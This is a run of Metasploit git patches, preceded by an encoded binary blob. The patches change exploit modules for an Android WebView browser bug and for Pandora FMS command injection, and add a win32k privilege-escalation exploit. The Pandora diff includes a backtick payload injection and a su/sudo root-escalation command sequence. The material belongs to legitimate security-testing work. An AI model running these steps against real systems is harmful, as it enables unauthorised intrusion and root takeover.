z?}!C^KHyrRqmev=>R}kVaIZy$3ag5*p5m*Del_yOZ-VK7dDTPi%ZLB;b>DRUF!JyZ zu(z;Q;ER^-6~z{Wz$n$W(8A8$K$Y~YC}`A6L__V5>t(2g9Cru4dwc#V`HyeLniOb2 zXo?1JYF0p3i;Sr9w#ZHUyILeZO;cvE6~9r;xQt`o4x=;g+pw%#p}~hc?MzQjIk;jP zlEo$wk3opq02<Wa-#kn7mkC^yJ@;vPk>7pkT~yWdF2~aJ3ap!KDhqq*N%`!zV<h|i z^6%e<^v7t$@TU&c>>itZ`tmK(rpKT7+9)k*l#{=X3#L=YUO!&{X;lAiW|zz*dp3O+ zF7}&=#^(NLqA%p=t1pYv{1W+G+ok~-PzP*yk@~;?{E{br*f1s+8qGx?9l1=s@+7(F zNVjfDy9aycK0lL3`RyMbr6}I|F-XcTk&pd2cHnO)xt?9np5(1v$rmC9N**##ez`aK z0;s!_U(S=aK|{%tOLy|5>y<phQt|*wzL+N;SowHQ^6RdZBiAT^Cw?;dKke%2$MYVN zZ~Mte+q`>RKjrxZmLgi`)dKne!5>Sz2l~C=ylT%MKNtDL`#<W9?CMcLZ9FEZp8_?4 zq8bJD>!2f`aZQ4{FX$dnK1kCfKlAIyNp}?>Xjx#T=K;z6C;!e2U(3u=!^Z2&EU+Z- zv7)+qdjG00L(~0%ER8gy7P}JJ&5}LO-w2ST$E<ta>IfAB|I9@^c}h$;edvBJJ|^ub zlUsfdQGHp~9c1%LS^3ARzS$U2U`zdSL9X~?4%Qy${?HBBesA|>CqA?c{WEsh#x;BZ zz8x<3&eG=nlCK}Te~o;{pR1(jobvfUM~0nU2v@QIyHX8gr!is{4OxWcy$d(`I=4uV z7s_vRj-u7gr=61`njhqy^vUH2*U+{cqc-hfs#(2PU$$Hx`PZET$%N`@8!^;0KkXbQ zzy4QX<WR4_bIU0Fl~+)2T~Q2Xoe%J+-&-bs_t$fZpUZJQYo%v|{K8G86rL@=dh_`a zek}+!3s(d?Tq6F!f@_MRZ6LOn&1_AJe5WTy(q+k;J&#GR-tpuZF+rMr&%S)IU6dY} zUt^ZUAnAv%YwniBI2G;H*ayO(*&el`<|RptlK#l7IW37JrTnjJ+9mOBsj0Xo$449? z-D#^??IXrYV_vFx)kn-1SJ%LjnTe&#f4_6ubQznZ|Mku(x&B}8oL>5h-|TEAciiyI zCA<b*Fc{-ye&@95GQV>QpgX4&6K;4O0_+0q0Br?r25kUUfYw~*cTUNt+e0z8fUbdr zulb$R!j_&pr-5Mq%bio}*F0zBc~dF)t)L@c^E;=7E&R?YfbN`<55y4+2nR)hVnB(Y zR8R(JQ48HU4e};zgJKP6187@|uzzr0(I$#z`>Xniw~8ti8kl$U{#ahk`TpWq>C0s` zH~Wk8q%{j_=BdP1G{~Ane=$q?{z%Q^{^HO<$M5sDx$gUa|5>#EeSc9Ss;*eOqpDq4 z^ZNjC5(SM45D!=i(39GxFLjoc3${V@l`%f5MaPY?TFJrR@R5BC#0YCK#OkSvq9ORM z5-T9O?1PI8A7b<N*i;|iwvpD-zde{fs!39d6Q$CUn!DBFBB^=R{v&GfvY&K%Y0Zvc zak_NKy#L2wagZdIy*onGNugGn4xb=9#YFd4#Wjmy*6&QU-R3l9+iT{9iZQok+tFm5 zOO%HK-dv#UT8*^zbG979M~I|i_ab<MXN-Wk=fnxz;Zfi-q&iw-eWVsnc*ayf?-|pH zC;mL&xu?QJrK2@V6wZN;fa*XyKu>_ygO-C9f^GwKfC91IJPM=*rGe&y?gW*CHiDEO z?E+Ew1E|8`T^L9UN(IdXEd&*V)`PZycFh+ZLKB!TL9L*6P$x)*NWwsUaO{@`G=r9c zY@iLG=Rtcxr$DWso1kEeD8zwggI0sqf}Q}q40;Dt4>|>E23-SnfRtGdQ3%JIC4%S& z+o&A1Sx)@yd7@wh#efcgnn97E=RpsHN<al5`qkl$KL+gt{m-AAh6~yS*e!WPP>-(W zf8~&S**Hf~H~a0wBm?E+5rH+hc%NF68!lS=ud*&#zFZSGxp4XNnuc)EK4jYrQ5_d5 zsB=KUJ$%g*5#rPP+eV2q#JCkpY^zFEQwTxm&F_V8za(#}*A-|!zM@(M3ijRqOr)5k zaJ1lq2)we8+7Bmhz%9Ujz;>V-nAl%b4+L%k;;(`U?ZCmLS0NJ81BU?xe^HICSHTP% z0jvkoR$<HlQH{^hgf&3emO?!+99R_~sv~fFTxbU~3W}D2qPi5AF$gv$&<cDISOKIn z@NGa3aOa@?504k$?7M%LMy&4di^IUubv4N;;t)siB=5msDbNQ#%Yj%O2vtB_Ll(9G zu>~M(1Ns4X0_oLv1L@W4fb{D1Kw9HB0ad^=K!0E}5G_P#0m3d97?6sn9f%@w2pwRk zjD*SFGExEqA*zAcc@ctvw6X{XQrSfTsqA8aRCb9#D!Wu5m0bo9pY#Z3AeCV@kjk(C z7!I@oQHDY>a1>oH2p=h`M?+BxMI^8sh|xf(0*(c40*(W20geZ51L8|OVJC1Ra5oUg z-a;J^2joIM@D^YbFdldYm;h`BCIVZ4dLRQPBYmMAObW0Am<kkb!FR0yC2%TG4NL<D z1E&GQfzyFez!|_8;BCM};O)Rv;A~(9a1PK6Gy}7N7GMD|3upy87J?}TvjkX53Sc=< zL?fsGO2AD(AK+G?0vL?G;0xRdxestJ&<|J-R02-`aUhMakI*K7&5%{VR-iwy9XJ5k zc?<sNPXHKY3>pP65I7J>oo*12I^AGkIP`(QXkZX95jX^x1`Gz8fy02gz~MkEa0Ji> z3;~t{LxCHBVZbfGk-!}>4m1idyP=2x9srI4HUUQi&jBNWEx<9rYrwI<4&XSTA{K1| zs0K~|h5#o5qkz#sEpQTWCh!(uHZTrY2-E_L9bj}|)&S#yRlo$`W?&+48xYGJVHYq7 zSO+u!j{uW_XMicdOTbhh15N>62TlbFacDchU|>2h5;zSQ1Dp<Y7{SZ{lL5R9I3IXB zumCs{xEx4-rK=P;2Ur0#12+NZ0k;Azz@5M>;9lTD;1S>w;5pzjU@LGr@H%iEP|%=_ zDbfE_U=%c>psxLZ!I1j`BZ2*ZF+dg22&9oG12`Bs9~cNM01g2z2M!080z-kDfYHFM zKm%|uFd0}6oC-VvT&6^GZv{ht)%QA3K|_}o83C$*eSyKie!xhe3K#<%4m1J{!1=&s zzycuV3ZWRN0ImW00jq$0ft!K-fZKp7;4a{B>?I0yU<|+`KoLXVIiLdA0`vo31NH@W z0Q&(IIz#|e1BU}cfCiuzC}N0A1NH@)f&GBFKo!sm91gSr4ZsaRhlnwAE115(oxpy; zy};qXdY}Q=3>3rBxPX0u*Ma?jLOk4oDxesNi~#!rqk#Q@T5<=bl6w>~MDD;`atB)D z(f`G0<cJ)A<>Ua|02E`;Pe~8lL3-eB(reL8Ne^ryJ@6dq6H#I$1Fw;6M2V3MR3t!7 zMTr6X0YeDWkkJJ6|9%<BDJf<mr-WwoSD<1I`YUia&<dnc@m9PvjpxXtPz>FDgqXkp z!WziUz$)OEz|Fw7f!l!FfV+T?0qcOLfk%L!({OtR%vs<i;Hy9ed=GdXcmyaUit0-M z6_DnGVBiU0B=8V02G|6o35X^rBjjg+^MT8NrO?xiw;b|aBqPHjA!K~xj6Myf47dqM zJDy|%NWh(t(}7zcD}Z|;)5KE`d;~}~0oe#AAfphuZ9uj{Gi2H&X$3wGYzNXr)d}1K zRO&_b>p;vm4nETbLg9vjj0!(sBxIV=>L4qDF_3G4M&L<c25=W}KJYlO0QdxOIq-d8 zDex$;0=O5r33wj36?g`?6L>ptuO9VZ52hZ9&j^uVU*HMIp8}hKUjbWz7l7@+kAa=Q zeL!WBs6Gq~1fBzi19t$Ufo}j4fnNjDfHKewYysv1KLA=CU`~Ot0lxv311|zM051c# z0KWk403HL9Q8F618!}DVWNeTzascvjAQ>lQv@}7s65@sW0nb662_)lVG9lzuKnK}r z{lQ#=Vl%J<_!3ZoKZo}wPz{^~3<16ii~=42k`a*%)IzQzJ>&#nDr9QZ&4^b8oC%qX z5wdp3D$0gz113Vo7~~KNp?C|5VjvkKWGMOr*Fc^FB=af?SOvKVSPXe2a5LmPfMie( z0B(bfp34o(0N^gjv>{gqoD1xLKkBDPAkPCfBc4fQ|DA!NggihI3%mrm6qt%PN&+&- z>wyB?2Li}!N&#Mn-UU<`as3@AKpzKCLw*3b1^&kXLm=M`+ypri7zKGLPz&5hMMZ|< zL|`fuD}XbBP9WK9w6M;G{4g*BvH@5KxdPaZa52DQ$j<@S0PhD@0qwxezy&}h{0#zb zgZvb57jQnX4(O->qlSmUz#~vp1H+L}Jn#(UwZLGw2LdlawvapIARvRB1-uU20u)T5 zdILZWd;u5^+zE_={~^E_$k~LDhXRcz^#2?%WT6^?8SqdEoDX~jSO8oNTn^j{Ohv$9 zz*5MIfaQ=!0V^OE0yhB<0=EGhfV+Xaf%U*T;2Gd2z!qR5Fk>?M|8OwvP~-w>oc|8k z3Hc*nV6v$G5Eu=78JGrq8fZqsBY?S(p8;Bdc|avzL<6)zeh^5Obt<qN@}s~Q$ceyB zkjsII4k+|swnDKEn2m@-fIA`Q1NQ>&1r|Ub3ap2`7#NIjI^YS&Yk;(f2?sVqz7uGL z|1e-H<N}}?{<Xk%$j<|nDWduz;JlsiI1WrW6!!q5fh&QDKp$WR@LOOua1*c)xE)vw zd<VD&_!_VZI1RWtW&fkI#CHbOXf@&*N93(&qM$@j8psUF1zAC*pbF3i&}Ps!&@PY) z#(y2K9@GRn0XhRZ2Wkdg0=0lzLG7UHpbk(cNSKP53Zw+7rlNJJ!32VWK_Q@UP$Vb{ z6b*_2X+en~BPbP=2Fd`<1erneLD`^OPywhAWCbk;m4Yfj8$eq?yFmv)XF%;!9T;-b zkO;^ODh6!^?FO9#T?d7vBXLj$XeMYrs1Q^I+63AP+68I?F_3y1{DTTW8$dfjCqV6> zkm-mAL?u`VEcM4@GiWEMY5M*NcZwhR))))Kf<aS-Il^qv0%5*DgVN^xH8<}TmpbSk zig25Ex?gVh8a4{J<21tq5K=*{*svp>ej?~P<jyW#cNlW}Z(+!76XK4>HVg6eqo!t@ zfeM=mr4`iF6(M<)xR-xMNP&05jWR&L-icN8ikQM~{vUDj09_A?<8S{oEaG<p%BEhC zP$JEcTe@`Q&OPGMJK^pyRmph6Vs!fw^w`&G4&EaU=`(P$pbnZ`^W{BanDnZl=8t>C z;eDo<u&-;X8D0dPG0lsu(`y!zym$upt8SYqsBd<a{%_!GTJ8~p)r)5Ttt|r2wbF$- zHCHKYpZVUnUc9qr!ZOI%KD})j(wn|oP%m8V&BK3635WN2?_pd-df4mV{fJk$tqQy1 zRW(;B?5an-`8oSo&4lHUCqG?t8&JLd&A+$hmVvJ+C=!FEDQ|gWKm8W>C7s&qjrrq! z-dO7DcnTvAUl-J0fv9Bb@m)sgYV1ndv89TC<)nCyh^^M~NecXp>M)QNG!0Y;DhE9Q zdJXgu=rTyaKc*54iUTEq%yVkqTp{kOxp=P_ToZb)IH2afd&QEPKkpUqN$URhTyDT0 zrA_UQs2OrAs2z0oC_%U#^eP5iwOJI#f|ATNkT+HTDDDSTw8=3eE$-<>xx=!fu zC+dYW2-E$01{<6>=@$aw*8Teyx|#6T)XU$sOtB_*qd4sU-(yy0p;-RE-D9qqT_WD_ zzf+u6vSi83d+sc`qvU~_sjI}%{zjjfEAJ@mR(-fiG!4pt>aIJMlUL#P^m((>XV!$+ z#kDmHSBr%~N5$z&Y*XzeB}?wL&9{~;xubAKp|JnM)#6GY|9QgH<ttY$$++X*!sSc$ zZ+}eu5w_|iZ$IgfFr|$X=oDeAQsn~^ZB&;K4&mKyArZpBAzd!>A(RDn3B?c)m3n{d zgW^VU|BDskRUiC0!TlSn#1hF7>5EAX6b*_2X+en~BPbP=0WyQKL4}}VP$>xi7KgeD zv;njUv>CJov=y`sv;(vgv<tKwv=?*$)C4*MBLB_47`R)&Fi<<F6Qt;a$qEz#3I|1k zVnAu2?tWkfpA9MiSwY31QcyXl3bX~Z6I2H}0cruYgA{(4<UoO-5KyGwGQ2q$EyxH; z1I+}@2jzkaK{ikoXfr4hv<<WiR0nDTT>@PL2};^nLd2j*P$H-RM7x>vSIcN{8htDM z&CBl2O!)s^t~s?q3=5&pE4$-S2P1_L7%O2YD#ZVIL~u=bwWtUQ9R9bb+4%b#Zx1_^ z)*WbnYPDD{^3OCULw6nVg=2sJ|A`!3zl@c5OZfk9L~&BS1|bV4cM1QEM*PEp^43z} z&2vk|{)LZ;t0iSfDpCRMZ+cwJ_8Fl5RZtTR1zl3qOny=vm3#??3x%DWGR1Q1J+>8h z6sJxvyr+1%eN}2I>3h4+SaHYQOL{pYj*U->LyW2kf_f6j1eyiP1FZm+fvQ2zf!+Xp z2s#P+3iKoBFA#OvZ_t*p{zhsa#2$?u78esYJ?^OHKJDw;x3wQ?k84kBztn!C{ZV^e zE9m@mgLT7oV|9~sdR?l{tjp4UpgXNQue+-IRhJTfd;G%qrSbR2SH!#GpN@YiesBDd z_|N0NkM~WmC6p&DNL-Y7Ut)RUV~N`nW&QK|X8mQoDk(TABFWL2lx)Z~3^kcd8%#nt zHh$1w{uTS5*gs;!;-<vSi_3|##^q{GXwGR`G(Ty6(fDXp+CXincCvP!wo1EI`<iyY z_MA3b_ndAAGSsO1QI{3JHvX~r=i^_Ce>?tQ{KxU1#-ERGiT^o1E+IEzPeOX)?8Fm^ zXA>_cvcw+~I~|Dw^a=Vj{VaX8{w&W|tNyCKU4KL0sh5(JN&ZR0lg1}aPSPhOC(THj zos^T5pL9>sy-5!wtxa+zZA^MP>G`Brlio~vFX>>?@uX8pUnE^lx{~x$((g$(llmG$ z3{wp*!ydy&hD!#Ip}%pkG1-`H%rm}eeBbzy@kiqyMn{Y()3nsI+B83TQSyDs4<+B0 zlAZE;%J(U#lNhW-0O7G?V-sVuVpqpj$8L=s95*a(Ok8f9E$&UNOLtV)rW+A|Dt>R` zg~U$%$s}JxKSQ7)!;ojV+i;)Z9Yd4hXM@Ukr}2K{<Hqa8QKs1B*HeU4Y@s0D>X?%; z&5oGMF&krBW1o-vG_F$fiRK&4aP1oHliHWHXS5fzm$m=W{-ssvhUiA4-c7nqx{q{U z>1HJqCTvZ3JK<15Q^GF^4<^<oewcVP@l4_miK0G4AE}Q+iB8ko^e^boqn1Y|y_NJ` zQa{52!>5M1#<j+GjR%c>rU=sl(;`!a$?<||zp24=*7Tc6pZsX@=Hz#iKTW=x{AaQ{ zB@HD}mGXGXvnktC_N5$7`8MTB%5N!x84E(R5h+F)Ga*JFGbQG>n9LY^%-WcWm`7uF z#_WsvFy@Pxf5o)L+=x-c`o|899TyuN8ykCT?DW{|*u2=H*p;#6vHN2W#h#7*D)w6k zn%d1+pSS^W!Eux0=EVIwu8(H0W~Am8jZQO7vqbZdrc&e9Jf(S0b5QfK<}{jMymqm+ zM7v&lSo?+cJFQ3CN2fx+2-oR!({%H6Il2PfL%K@c9^ElrQ2d4X&l4^sSoNRj|J3(Q z+GqI8aLw?G;ZK8LR2Y@USYwvaVK=TZmK!UKRmKg*O~%c}Eyiz+%y`Y%j`~_?T4E|U zJ%XOG$+X$D&-ArvU~+JBNOE{`WO7t;baG6xHhFDwMRHa0hU87jLIE}dP%?*OPRD#7 z^K(piY-Q}m*r#H5$DT$7{}k&NH!v<NE-KCxmmham+&Jw*?MkiPp?yR9p7wWbux^&l zs(S<ZeqR?5KOMdK_4teNf5t~7#3oEjFeg~hdG1U&mhef!B7Kp5yZ#OR&-%acPQgi| z(Ju;<ijy2kRY^}K9Z5Qo^i|S8LxSOUg9VLng`vz)X>c2!G3+qBW_ZugU^s5LX!w_* z&Ctg<#5mIE7-vi|&O@ijH!d;WYg}b~z_`x%Fv?=H@oD1=##fBHjPIbc95Nm?o;02{ zHXB=v|1!22e=&9#ZyNiU`kMxthMB@lk)~)<tSP~iVoEdJW}0WpGUcJ{icH0(Qd5~} zy~&Lde9H8^sn+zW>21@yrURxUrsJm5rV9?!CDXU2tEPXOel`7Nl9H9l>g1s05y_)b zz>|~XlMTsJl4m5(PM)8fn|w#|-N`GHZOIQNuTOp?xjOmD<Y$t%CGSjrBl(@=50dMX zk0qZ<K9~G$a(nV`$%+*Jl(>}XDR-q*q%@>7r~EtRI(6w{?9%`OVgh4gV`ihdIt;N> zV;9Dj#=ak`L(R;MTaJ$SRonv2N=>O|sdkyROdG8;=+bp>>FP1MeXhHv>(F_01LG&g zJL5+s#3iJlS{_btC)6a=CLBpPm+*7KZwX@J(8LLesfjZZ7bF%WK9X36&UrJ@M<1m( z>8I-R^egr2^s@dX{eJy%hyJ4eN4-Zs5cQ}_nxC{ZsWj=)q^(JD$u-GCDaYm59zmn( z6Z3S;`IxNOdtyJ0ZH{e=9UV75?v^-RoB@M$2KtR9E-$VyZdqJO+=FrJ;~tHBD(;22 z9dWP4?TtGacPj33+)r`8#U0ZApQ_G3w5=+R;;9ztw9cp%%T_SX3Yk>A_vO9&Blo^{ z<Lsnr)Xr5Y5^Dx=3oJsEPKy>Yb?VTG1>0F&mB`AhtYFnTD;CW(V#R;~JM3)HPRh)% zx~Lrnj6Y855AdJ-QOL_Z_nq(OoZdXzl6|3bnRBJH&0$Qjo7qm5$*{*kX3jO=3aA|9 zhxvLD5F3Rf!eYBfiTlN4;%)Js$bs6k;wy1dd@su44D@V~cgP|6qC6<a<Qwvc{744E zSA{o+Zv~2f4PUI*tAJ`(Th#;VN%f3+LA|D4SMRHj)iD_GggT{8t265Nj5=Gd(HH7< z`f|NdTe@AxfXkiwKK(Fk_^CbtMz^}2dy{*on*gRC$1uL+9)^Y9cRzEFxxcw>p7b_( z+r8(!dGEB>WNtF|n5SzyH}E&U*OEu^NAe={2D*bDr-!U#*bO`6g0olJ!p=nPwa%r^ z6|9Xl<4*46&+#94t4NAbaa1gd7v-q@KpvN^;iyWeLG>km+4f~uedJq5hUfu$lzu`_ z(bIH)h_Nv9*d}&8yOG_(Zet<t@tgU*{AK<fw?tg-mz%>|!ZCHV4q@hw>QD43{doqy z_jwz<UEW*p?!0%Fxxh4;4W`qi%n|b;ko%{pS#}Vgdl9jTB2SV7<Qq~Vzd+UH^g8Qq zD;s(>bb)Q`nEjCbto?$WaE_xD{NdEIHS7}hE*s}>@+15`ew2R<etgc4@#Fk!zQjxX zN1pkaS9q15CC(9R#b(rmN5pSJ$W3yad=N3}*UdWT-sbgq%ifCT!{QE@H?b(JCinLN zO`JSRpQ2VMA1a1=?Cn7FBlh`DtJCA0bgq}(vY?B47Tj0>IhOt-YeoBtI5@1G$<I^E z+GSm1m+gu?JG>ofJr8pXxo^1z_X~I4U38b+62Qy7+rfaim++Ea%1eU-ecp%Oj92iA z*txLTY~p4Ib}ems&5-%P{A4PoT3hJiYLern9+A~Z{Fwb7k|0TvB59I2N%z}Nuy%eI zPw{84K^ugxjD*AcdaNNkYfsqU+UGhOoFGm>@y}85^CV5tH0?!-?V)?=j8(9T)~q#W zEm(8*g1v+xTZWi6X-kb_6O~;uCKED+K<<}&<UTnlN8qY)IVq=QJ|hcqRxZfe=|lt< zZ#FH)HX7j@HC-lV5>V7@`a!XMX3&h7Q8R8P&9upzf|)f7X2~prY|t6NnFS6P>Y=cS zw2)TP2DfO^PNJlX#Gp4tdPzS*dLJ1iBV?3}lSwj7uE>)DnI#Kki7b;9QblGr(k9wM zTanr})wG>P-`V;~-L-X@PS(xhEXmTWkL_lA*#H}6SvJNd*c8jL8CGO-=y@epW)<e+ z4cyP0d4LBw;etna2STiy$9a;cc^@k2UOvEwd6tjy2|mShs4_)9#}{GBG92j>4Z<&) zL871_LV%?m4Wd(Y1E<M%)*q}b#}~l^ZXn|@)MTM&42mY8X$q=xBu{1_tO#jy5Vr_< zB?v4-Vg(|7w4OFVs2@_BAvOTHK?o+0EFd}p*&Q@WJ82h6ON_>8g8qBk`)Ggd);}+^ zb?0S9XqJxBF*=TvpQKZCn&xPp&d>ra(pi9dfi5EZOLUo*=?bmTD)m|QR)f`O`K=~Y zo)#-$b%|-vbq2I4ixp87O{j1|Dd3*Ss(%tPDR;{O_+}WcnUFb|hh^sEqO5EIn1bOB z<bM+BKNg+|m%=Mye2=b#>Q;SfSWT)aHK$foMKx<%3j}>1D$bP7V;p^Mz>T<Zw;v@3 z){EEq+UlP74%M|}rUg+puAx-~2=7o))v3C0#h8i%gGrTAY1NDC_p9A%kJ_vDsR6)o zSdFMGdd8R<R}-tBJgssnj}lx^MKz0cEU6M2Sb23l)qh%8qxS12V5UU}bgK^PHcc|C zOVv7pIOxz(-Ko2<@R*M4gih*|PU~LC_<wJk)&($TSyy$78$=r+uI+ZYWv}8@!L54J zU>c1dXsr!c(6kwXF%uZH$m*zdV%WMdZgC7;(zK^mDbi<lqX7HTc>ECCQ@e3-CxMoh nLJyyC3eJ*KLLDeOE2soj$H(ef18Zb{*2J1w3#%QSOw|1a^E@y3 From 30c325c22e5bf6ab673cd84f49c79ee47b309f20 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 6 Feb 2014 10:16:26 -0600 Subject: [PATCH 193/246] Make better json check --- modules/auxiliary/gather/ibm_sametime_enumerate_users.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index c43e52a605..dedf7b18a8 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -125,8 +125,8 @@ class Metasploit3 < Msf::Auxiliary elsif res.code != 200 print_error("#{peer} - Unexpected response from server (Response code: #{res.code})") return - elsif JSON.parse(res.body).blank? - # empty JSON element - valid response for check + elsif JSON.parse(res.body) + # valid JSON response - valid response for check print_good("#{peer} - Response received, continuing to enumeration phase") end rescue JSON::ParserError, From 0dc2ec5c4d321fb3a7e7a48d2045f19bdb3d3ddb Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Thu, 6 Feb 2014 11:32:42 -0600 Subject: [PATCH 194/246] Use BrowserExploitServer mixin. This prevents drive-by users on other browsers from ever receiving the exploit contents. --- .../browser/webview_addjavascriptinterface.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 6dada4e785..5271f3b1c4 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ @@ -64,7 +64,13 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'PrependFork' => true }, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Dec 21 2012', - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_ver => /17\..*/, + :os_flavor => "Android", + :arch => ARCH_ARMLE + } )) end @@ -73,11 +79,15 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Serving javascript") send_response(cli, js, 'Content-type' => 'text/javascript') else - print_status("Serving HTML") - send_response_html(cli, html) + super end end + def on_request_exploit(cli, req, browser) + print_status("Serving exploit HTML") + send_response_html(cli, html) + end + def js %Q| function exec(obj) { From 362e937c8da99decce4779eaec8700f27a66ebfd Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Thu, 6 Feb 2014 11:47:35 -0600 Subject: [PATCH 195/246] Forgot to push local changes. --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 5271f3b1c4..c5ffe5cfde 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -67,7 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', - :ua_ver => /17\..*/, :os_flavor => "Android", :arch => ARCH_ARMLE } From b9fb8decada91a1d81214d6fd1e49c2a922609bd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 6 Feb 2014 14:11:38 -0500 Subject: [PATCH 196/246] Support a (latest) session id of -1. --- lib/msf/core/post_mixin.rb | 2 +- lib/msf/core/session_manager.rb | 9 ++++++++- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 691b5598e6..881a91600a 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -74,7 +74,7 @@ module Msf::PostMixin return @session if @session and not session_changed? if datastore["SESSION"] - @session = framework.sessions[datastore["SESSION"].to_i] + @session = framework.sessions.get(datastore["SESSION"].to_i) else @session = nil end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 84bac06aad..13d835e545 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -279,7 +279,14 @@ class SessionManager < Hash # Returns the session associated with the supplied sid, if any. # def get(sid) - return self[sid.to_i] + sid = sid.to_i + if sid > 0 + return self[sid] + elsif sid == -1 + sid = self.keys.sort[-1] + return self[sid] + end + return nil end # From 27d7df554c2e1d60e297aef937ec35ed723c0a7d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 6 Feb 2014 14:50:59 -0500 Subject: [PATCH 197/246] Use a single return statement defaulting to nil. --- lib/msf/core/session_manager.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 13d835e545..dc5046855f 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -279,14 +279,17 @@ class SessionManager < Hash # Returns the session associated with the supplied sid, if any. # def get(sid) + session = nil sid = sid.to_i + if sid > 0 - return self[sid] + session = self[sid] elsif sid == -1 sid = self.keys.sort[-1] - return self[sid] + session = self[sid] end - return nil + + return session end # From 4236abe28285d49a3dc4f06a4bc8942a5dcec95d Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 6 Feb 2014 15:21:54 -0600 Subject: [PATCH 198/246] Better SIGHUP handling --- .../exploits/linux/http/pandora_fms_exec.rb | 31 +++++++++++-------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index d24d4bef50..66c7567798 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -59,16 +59,22 @@ class Metasploit3 < Msf::Exploit::Remote def on_new_session(client) print_status("#{peer} - Trying to escalate privileges to root") - # Spawn a pty for su/sudo - client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'") - # Su to the passwordless "artica" account - client.shell_command_token("su - artica") - # The "artica" use has sudo rights without the need for a password, thus gain root priveleges - client.shell_command_token("sudo -s") - end + [ + # ignore SIGHUP so the server doesn't kill our root shell + "trap '' HUP", + # Spawn a pty for su/sudo + "python -c 'import pty;pty.spawn(\"/bin/sh\")'", + # Su to the passwordless "artica" account + "su - artica", + # The "artica" use has sudo rights without the need for a + # password, thus gain root priveleges + "sudo -s", + ].each do |command| + vprint_status(command) + client.shell_write(command + "\n") + end - def peer - return "#{rhost}:#{rport}" + super end def check @@ -80,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "anyterm.html") }) - if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/ + if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway") print_good("#{peer} - Pandora FMS Remote Gateway Detected!") return Exploit::CheckCode::Detected end @@ -95,14 +101,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/anyterm-module"), 'vars_post' => { 'a' => "open", - 'p' => "`nohup #{payload.encoded}`" + 'p' => "`#{payload.encoded}`" } }) - if not res or res.code != 200 + if !res || res.code != 200 fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") end - end end From cc32c877a9f32f41879bc1a21e44aeee40d4d4ed Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 6 Feb 2014 17:23:38 -0500 Subject: [PATCH 199/246] Add CVE-2013-3881 win32k Null Page exploit --- .../cve-2013-3881/cve-2013-3881.x86.dll | Bin 0 -> 45568 bytes .../source/exploits/cve-2013-3881/.gitignore | 151 ++++++++++ .../exploits/cve-2013-3881/cve-2013-3881.sln | 20 ++ .../cve-2013-3881/cve-2013-3881.c | 257 ++++++++++++++++++ .../cve-2013-3881/cve-2013-3881.vcxproj | 85 ++++++ .../cve-2013-3881.vcxproj.filters | 22 ++ .../windows/local/win32k_null_page.rb | 128 +++++++++ 7 files changed, 663 insertions(+) create mode 100755 data/exploits/cve-2013-3881/cve-2013-3881.x86.dll create mode 100644 external/source/exploits/cve-2013-3881/.gitignore create mode 100755 external/source/exploits/cve-2013-3881/cve-2013-3881.sln create mode 100755 external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c create mode 100755 external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj create mode 100755 